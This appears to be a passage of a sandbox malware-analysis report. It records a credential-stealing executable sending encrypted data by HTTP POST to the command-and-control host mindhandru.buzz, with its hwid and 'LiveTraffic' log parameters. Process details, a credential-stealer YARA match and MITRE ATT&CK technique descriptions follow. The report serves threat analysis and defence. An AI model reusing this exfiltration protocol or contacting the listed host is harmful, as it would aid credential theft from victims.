2024-12-27 08:07:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:07:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:48 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5R2UTZJAZXW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569789 Host: mindhandru.buzz
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 2d 2d 35 52 32 55 54 5a 4a 41 5a 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 35 52 32 55 54 5a 4a 41 5a 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 52 32 55 54 5a 4a 41 5a 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 52 32 55 54 5a 4a 41 5a 58 57 Data Ascii: --5R2UTZJAZXWContent-Disposition: form-data; name="hwid"F972311000237E17BEBA0C6A975F1733--5R2UTZJAZXWContent-Disposition: form-data; name="pid"1--5R2UTZJAZXWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5R2UTZJAZXW
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 0e 20 80 d8 09 62 ec a1 14 09 a0 34 01 65 35 c2 99 27 5c 19 ae c2 a0 5d 15 0b f3 71 b0 6c 5b 74 78 a6 d8 fa 3e 8e c7 0e f0 d8 77 de 16 0d c2 2b 3a ba bb b1 7d a6 fc 56 ff ff 83 e8 d4 03 80 56 dc 01 e6 f8 40 82 29 25 9f 05 98 7d 7c 30 3f 55 e9 52 66 44 64 99 e5 62 6f 66 39 3f c4 fd 87 68 fc d8 9c c1 25 1a d9 77 da 40 8c 43 32 88 b7 70 48 cd 74 f2 e0 03 cd 8a ab 81 a6 e8 b8 1d cf 9c ca 20 05 35 98 b2 83 57 a2 49 f5 df fa 90 1e 91 f8 09 c1 ad dd 32 34 67 0e 14 3b 52 93 fc 7c 79 52 8d 3b a5 95 44 a9 b6 90 27 0f c1 72 bd 25 c0 c6 8d 3b 5d 52 8a 29 3a 87 99 37 c9 d8 6e 0e 70 55 64 35 38 8b 72 08 6b 8a b5 bd e6 a6 e3 eb 8e 4a 14 12 23 0b 49 74 56 35 67 72 57 80 ff 1e aa 36 3a 48 00 4c 7f 47 2f 6e 05 98 04 aa 25 b3 6f 18 14 a2 28 4d b1 51 69 1a 69 db cd 61 9d fa Data Ascii: b4e5'\]ql[tx>w+:}VV@)%}\|0?URfDdbof9?h%w@C2pHt 5WI24g;R\|yR;D'r%;]R):7npUd58rkJ#ItV5grW6:HLG/n%o(MQiia
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 80 53 19 11 0f 44 f5 86 6b 5d 23 79 4a 18 58 6d 93 3a 6d a9 26 e2 a8 ca ff 36 a9 c6 ea 8b e5 b3 10 da 36 34 2f 36 b5 e6 e6 0b 4d ff 3e 12 a8 8e 04 55 46 8d ae 1f 71 19 74 35 36 13 c9 4d 65 84 5f 9a 27 2f b9 58 c0 41 a7 c9 78 9f c4 45 6b 95 ea c4 9d 8c 50 a2 e9 33 8b b8 23 68 02 8a 9d 56 bc f2 55 61 bd 4e d2 5d 85 61 38 a9 d4 18 3c 8d 6a 2c af 40 3c 6f 72 be 89 97 c0 1e b5 e2 c4 1a fd 1d 04 16 ed b3 19 c1 8b 2f bf 1c 2b fd ed 5e 58 67 79 f6 0a 8f 96 f9 67 4e 36 43 83 0f 23 c9 39 93 c0 db 93 d6 de ae 88 d0 39 bf 85 fe fe b0 99 b9 b3 b1 59 f3 ef b5 90 f0 6e 5a ae 7b 39 19 45 68 7b 5a fb 7d b3 55 16 f9 9f 3a 6f 11 2c 42 bf 6d 34 ff 29 8a aa ff e3 62 47 87 4a 63 e8 5e d6 58 c6 a5 75 e2 78 13 6a e2 32 b0 8e a7 e0 e7 f0 ab 32 3f 4b 08 67 2e 39 cd 29 8d 2a 3f b6 Data Ascii: SDk]#yJXm:m&664/6M>UFqt56Me_'/XAxEkP3#hVUaN]a8<j,@<or/+^XgygN6C#99YnZ{9Eh{Z}U:o,Bm4)bGJc^Xuxj22?Kg.9)*?
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: d0 bb 86 29 07 da 35 ed 87 23 25 d6 9d a6 bc 18 5a b0 42 f5 26 63 14 c5 73 13 3d 42 96 04 cb 4e ea a8 06 5d 2f 20 74 41 c4 2d ba 6e e9 a9 4a ea 77 b7 21 96 cd 54 fe 62 ca df fa 0c a9 36 dd 37 f2 60 f0 d2 48 21 f9 fc b2 60 b1 21 63 f8 5b d9 41 42 6d fb 9d ef c3 48 87 fc 15 50 1f 76 d5 e3 d7 90 c2 a7 e1 cc 6a a0 1d ae 9e bd 0b 4d 6b b5 2e 99 e7 6c 3a 7d 94 a4 01 1c db 55 52 e2 31 e9 f1 a8 dc 51 7c e3 b7 ba 9a f7 8e 1c a7 47 9d c7 9a 4a 1f 08 15 86 8c f8 66 4a 5c 89 a5 da d2 e1 b7 2e 8d 97 2b 90 7d 8e 9a 8e ea a4 ba 77 7c a3 d0 ae 0a 7b 24 7f 99 f7 ea 68 d9 64 fc 20 b9 d9 46 8d 72 aa 9d de 60 d2 0f 89 f8 50 b4 d8 c6 43 1b 0b 02 8c d1 f7 0c 9e 35 df 40 e7 ad d2 d0 8a 73 4b a9 e2 ef 9a 70 8b 35 d4 da a0 27 e9 35 ed f5 17 17 6e ea 6e d7 62 be 35 b3 9d b4 71 71 Data Ascii: )5#%ZB&cs=BN]/ tA-nJw!Tb67`H!`!c[ABmHPvjMk.l:}UR1Q\|GJfJ\.+}w\|{$hd Fr`PC5@sKp5'5nnb5qq
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: f1 76 9c e8 54 bc 6a d4 8e 3e f1 41 ed f5 76 19 a2 3d d7 e4 28 85 7d dc d6 93 da d7 12 38 49 f3 f9 72 0c ef bb b2 ab 4b 05 04 1d 51 4e eb 78 d2 60 56 8e f2 51 46 43 58 05 f2 20 ac 70 05 40 4b d8 43 2c 51 f0 83 b7 ed 87 70 0b 31 d8 0d bb 2e cd 41 d6 58 88 a0 47 22 83 a0 eb ee 2a 8d 7c 90 05 b0 57 a1 1c fa fd b6 94 e5 38 e5 e1 59 c5 07 b3 28 65 97 61 76 1e b4 b2 57 88 b9 cb 13 98 62 af 8d 60 99 73 fd 77 77 ef f5 ec cc 15 af bc ba 1b 93 ee 56 c7 1c cf 11 9d 72 4e 88 17 0b 76 c0 cb c8 f6 7d 4b 82 8f 6f c6 ee 68 96 5c 74 d2 23 48 60 2e c4 3a f6 ad 32 02 fd 75 ba e6 6d 2a ac 1c b2 3b 41 b3 e2 e8 f7 1f c2 09 3a 90 ae a9 cb bf 40 7b 03 b5 71 a7 67 fc 5b 93 ad 20 0a 9c 93 b0 bc 27 01 aa 48 75 8d ef cf 77 0a ed 5c 3d a5 eb 77 f4 67 50 ea 62 52 e8 f5 cf 75 a1 bf 5b Data Ascii: vTj>Av=(}8IrKQNx`VQFCX p@KC,Qp1.AXG"\|W8Y(eavWb`swwVrNv}Koh\t#H`.:2um;A:@{qg[ 'Huw\=wgPbRu[
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: cc e6 89 ca b2 a7 09 28 f4 eb 8d a7 88 cf e0 00 cf 08 d0 64 30 cb 60 f6 d0 dc 63 87 c8 30 1b 88 f6 bc 3c 81 25 fa 13 6e 82 c5 88 47 7b 8f 02 96 bb 4d e8 88 20 08 d4 5b bf 2f e3 29 5f ac 43 80 04 e0 5d b0 05 c2 7a 31 c4 dc 91 62 69 e1 56 7a ce 83 f0 a7 eb 7e 61 83 82 be 87 97 6d e7 2b 7b 76 b9 49 fc cd 7a e2 75 76 ac 15 dd 6a 86 bf ff de b2 0f 78 47 f1 4f e4 a8 15 3a 89 00 37 25 bb 41 b0 41 8e 0a 90 13 67 9f 55 64 7c 11 ff 02 79 47 69 14 94 49 41 d3 9d 4b b2 b1 8c 9e 12 9c 6c ee 19 c4 f0 98 28 b5 6f 7f f7 4e 30 39 a2 84 63 9c 96 90 f8 53 9a fc 4e 94 7a 82 48 5c fe 29 d5 2d 02 84 a5 a3 6f 7d 85 e4 ae 17 b8 11 d0 06 7f 67 d4 51 d4 4e 2c 6a 24 02 0e 86 2f 05 4e 1f c9 e0 7b 12 66 8f 91 3c 19 59 b8 c8 cd a3 b4 56 a6 42 d3 c4 25 bf ef 25 7d 67 9f 89 54 7b 43 27 Data Ascii: (d0`c0<%nG{M [/)_C]z1biVz~am+{vIzuvjxGO:7%AAgUd\|yGiIAKl(oN09cSNzH\)-o}gQN,j$/N{f<YVB%%}gT{C'
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 94 eb dc 5b a7 7d ed e1 c5 3b ad e9 ab 37 db 0e 61 2e 3b 22 5d dc e5 44 cc 8b 95 d7 25 f8 38 46 ed 2d bc 6d aa 59 e7 f3 b3 8d 2f 56 96 ae 15 57 dd 77 d1 89 ac ba ba af 6a b5 db f1 fb 6e 12 8b e6 34 0e 0b de 87 6a 9e 04 bc d6 79 fe d6 87 d5 43 65 3a 4a 95 da 7d 69 a1 fc b8 bb 45 96 a2 fa 1f d2 e7 41 ff 7e 77 4b 66 d8 cf 57 d6 91 ab 4e cf 3b 87 73 24 22 57 5f dc f6 12 84 09 ad 3b 33 27 4f 7f 71 30 ed ff 5e 3a 9a 6a 2f f9 c9 ec fb c1 8c ec e1 38 e6 ec 95 48 53 46 8c ec c6 57 a1 96 e3 0b d1 0d 45 6b 0d 6f d7 1b d6 ef 4d 9c 70 7a 27 1c f2 d4 06 e6 5b ee 8e 41 45 a9 6a 48 56 33 71 1b 57 e3 0a f1 12 cf 40 4a a8 23 b4 b0 a7 e0 da c6 29 bf d1 27 55 39 be c1 7e 0e 0a b1 56 47 aa b7 ec c2 83 34 5e 23 c6 be 34 7e cd a1 5f c5 25 3c 36 54 74 7a fb 23 ac f0 e1 76 d0 b5 Data Ascii: [};7a.;"]D%8F-mY/VWwjn4jyCe:J}iEA~wKfWN;s$"W_;3'Oq0^:j/8HSFWEkoMpz'[AEjHV3qW@J#)'U9~VG4^#4~_%<6Ttz#v
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 74 f4 6c 54 17 7c f6 59 9e 70 84 23 86 3e 9f 2d d2 78 07 8e 95 35 59 1b ad ee 50 95 27 63 3b f8 21 27 0e 34 35 96 ee e2 0c ac da 2c a7 0b 03 89 21 d8 6f 07 a5 bd 38 bf b0 e9 09 b8 e4 6d d8 da 00 53 f3 28 ae 88 6e 53 40 93 65 25 08 62 cb d3 fa 82 f9 ce 4d e5 c6 e2 6b 11 f3 73 3c e6 8c 88 e4 2d 1c 30 13 33 cb ec ae a1 8a 3f aa 3b 37 e7 e1 d9 80 35 c5 8d 2b 42 79 1a e8 f1 98 14 be d9 8a 23 8a f2 17 5c 22 36 ce 29 13 05 7e 0c 9c c6 b6 d5 5b 7b c1 8e dc bd 91 64 6d 93 2f 3f ae 28 68 2c 3e f7 84 92 6f 11 26 01 06 ad b4 3e 38 06 aa f1 b5 87 61 ac 86 1d 14 c8 c1 cc 81 fe b2 58 e3 14 ee 39 66 c6 55 f6 5d 53 42 0a 26 28 86 ce 04 84 f7 64 2f 7c ba a9 5a 47 28 bc 3c 82 0b f1 59 fd ca bb 75 db 4e fb 8c fa 30 0f 7c 77 d4 8f 09 20 ae de f7 3c 50 3b 5c 1a 50 af 2b 03 96 Data Ascii: tlT\|Yp#>-x5YP'c;!'45,!o8mS(nS@e%bMks<-03?;75+By#\"6)~[{dm/?(h,>o&>8aX9fU]SB&(d/\|ZG(<YuN0\|w <P;\P+
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 12 a5 ee 12 2c aa e3 61 dc f2 c9 26 7c 0c 5f 3e 8e ea be 3e 7d d7 74 38 31 08 c9 d3 68 ce ba 79 4d a6 25 aa 30 21 08 71 92 31 e6 c9 2c 3a 9b d0 16 40 da f8 95 97 d6 a5 b9 8b d0 f8 db b2 f4 d3 50 d4 a2 da 6b 8e 18 67 df 52 9c 5c fa 3c 0d 11 9f 35 62 99 e7 e5 91 37 6a 5e 83 c2 e1 16 3c 7b 95 1a f3 3a b8 dd 92 44 02 21 84 03 c1 ce 4b 12 33 51 99 6f 99 3d 50 d1 8b 06 75 c4 a9 fe 8c d3 02 0b fb c4 d5 c5 63 7e 22 71 83 b2 f2 43 51 ab fd 07 3c df 61 4d 15 88 4a ae 91 f1 91 ef f8 86 2b 40 fa 92 6d 9a a4 50 4b d1 cb f6 2d 1e c0 0e e6 1b 74 8a 4d 86 b7 36 89 52 c9 33 6b 67 40 db 21 6c 2d 97 64 fc 6a 6c c4 63 71 2d 7a 31 15 a4 9f c4 d3 8c d1 4b 36 82 a6 87 f9 8e ef 45 2f b5 26 69 2a 2b f5 a1 01 8f 3e 48 d9 16 d0 24 a7 03 eb 95 2e 71 4d df 5d 77 94 8e 0d 69 e7 7e be Data Ascii: ,a&\|_>>}t81hyM%0!q1,:@PkgR\<5b7j^<{:D!K3Qo=Puc~"qCQ<aMJ+@mPK-tM6R3kg@!l-djlcq-z1K6E/&i*+>H$.qM]wi~
2024-12-27 08:07:48 UTC	15331	OUT	Data Raw: 09 49 16 82 bc 0c 3f 6f 77 89 09 3f 51 e3 cd b8 86 81 a5 ff 06 57 9f c4 a0 b1 75 f7 bb 18 8e 7a c1 42 c0 65 5f ac 16 ea 2d a1 b4 2b 5e 92 68 84 d8 b2 39 f3 3a f7 72 4e 2b a4 89 a4 be 52 8c d6 f0 21 2c 6b f0 37 1b 90 16 34 57 47 28 12 18 1a 20 b6 77 96 54 0d 19 8a e1 bb b7 ff bb 6f 7d b9 69 65 76 1b 4f 0d 8c 9a d0 1f 1a ac e0 d8 db e9 f4 93 80 b8 3f 76 e1 ca 30 7e 63 89 6f ad 82 01 3f 25 c5 12 bc 01 02 f5 ef 9e 33 a0 73 17 7e 7f f8 4f 39 d9 c7 75 ab 9a 64 04 d9 08 59 3e 8a fc dd 4f 92 8e 75 22 16 00 e2 6e e1 11 77 d1 25 3c 4f c9 70 99 8b db f0 b7 d2 74 52 88 39 01 c9 36 5c 0c 0d 7d 22 fc 1f 19 c5 da 1b 73 59 c2 2a 75 d8 ce 44 3d 36 c2 08 eb c0 4f d8 7e e6 bf 11 a7 18 6f 4b 3b 4c 02 66 15 ec 06 11 dc b0 22 48 d3 83 7a f9 3d e0 e7 a4 d2 06 12 4c da 1f 2d 3e Data Ascii: I?ow?QWuzBe_-+^h9:rN+R!,k74WG( wTo}ievO?v0~co?%3s~O9udY>Ou"nw%<OptR96\}"sY*uD=6O~oK;Lf"Hz=L->
2024-12-27 08:07:51 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=haqkqouofcengrb1j53ua774h9; expires=Tue, 22 Apr 2025 01:54:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jfpM077pRDwM9so6l%2BKoi5WvXbL4jNo5JBrp9mCdV3l77dohKSH4cI2v%2BJRnaxixdDmfpznjR4%2BBO2UDmayR0IY0NaOXxRAfY89CXAK0w%2B45a3Me8pF7rIICXBB6PoTm%2FX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d1afcbdc4216-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2193&min_rtt=2185&rtt_var=836&sent=201&recv=591&lost=0&retrans=0&sent_bytes=2837&recv_bytes=572328&delivery_rate=1297201&cwnd=250&unsent_bytes=0&cid=9fb1430f05d7eeec&ts=3650&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	104.21.11.101	443	1360	C:\Users\user\Desktop\GnHq2ZaBUl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:07:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 08:07:53 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 46 39 37 32 33 31 31 30 30 30 32 33 37 45 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=F972311000237E17BEBA0C6A975F1733
2024-12-27 08:07:54 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hqbkpa6b3sde9ffp4ta4jolsev; expires=Tue, 22 Apr 2025 01:54:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BHXgbuM0kTts4T0mXhjyghSEixFY6NPGYxX285cY8nqB3PbZFnsDBEnXdmPsBb7WE1PGiuhzdsLOIc6UNEDAflo7kPrdZKMh6niOQhXejcy%2BwbwZvvt%2FKefHxyYM8jUOZhI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87d1cfdb427ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1852&min_rtt=1840&rtt_var=698&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=1586956&cwnd=199&unsent_bytes=0&cid=0ae15c0d17a556b9&ts=779&x=0"
2024-12-27 08:07:54 UTC	210	IN	Data Raw: 63 63 0d 0a 56 59 49 42 77 6d 65 76 70 54 4b 77 6a 38 4b 76 66 34 66 48 4a 71 75 53 45 5a 68 54 6c 37 59 62 4a 46 64 6f 73 62 6c 36 78 58 41 4f 2b 53 4f 33 52 5a 57 48 57 73 54 37 73 70 55 6a 71 4a 73 4a 6d 71 6f 6b 74 6d 47 6d 67 7a 55 56 5a 6c 75 66 69 45 79 5a 58 7a 72 6b 5a 35 35 49 79 38 42 55 6e 75 71 36 79 6c 32 72 35 55 44 66 73 43 75 6f 66 37 58 54 4f 52 35 6d 46 5a 33 43 57 4c 42 53 62 36 42 70 74 68 50 66 6e 32 36 66 30 2b 32 65 52 37 4c 70 46 4a 71 6e 50 36 6c 69 70 4a 67 71 45 67 74 48 33 74 38 63 6d 56 38 78 35 32 66 73 41 74 66 41 45 4a 79 74 70 4e 74 64 76 66 63 4b 69 66 63 7a 6f 6d 50 71 36 77 3d 3d 0d 0a Data Ascii: ccVYIBwmevpTKwj8Kvf4fHJquSEZhTl7YbJFdosbl6xXAO+SO3RZWHWsT7spUjqJsJmqoktmGmgzUVZlufiEyZXzrkZ55Iy8BUnuq6yl2r5UDfsCuof7XTOR5mFZ3CWLBSb6BpthPfn26f0+2eR7LpFJqnP6lipJgqEgtH3t8cmV8x52fsAtfAEJytpNtdvfcKifczomPq6w==
2024-12-27 08:07:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:07:29
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\GnHq2ZaBUl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GnHq2ZaBUl.exe"
Imagebase:	0xc60000
File size:	2'912'768 bytes
MD5 hash:	570EAC129387CE77CEEC28B6876407F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2183109610.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:08:04
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:08:04
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2000,i,13436707777172459125,8662691406262095616,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:08:08
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:08:09
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1980,i,3051429625471405464,5481081357581639420,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

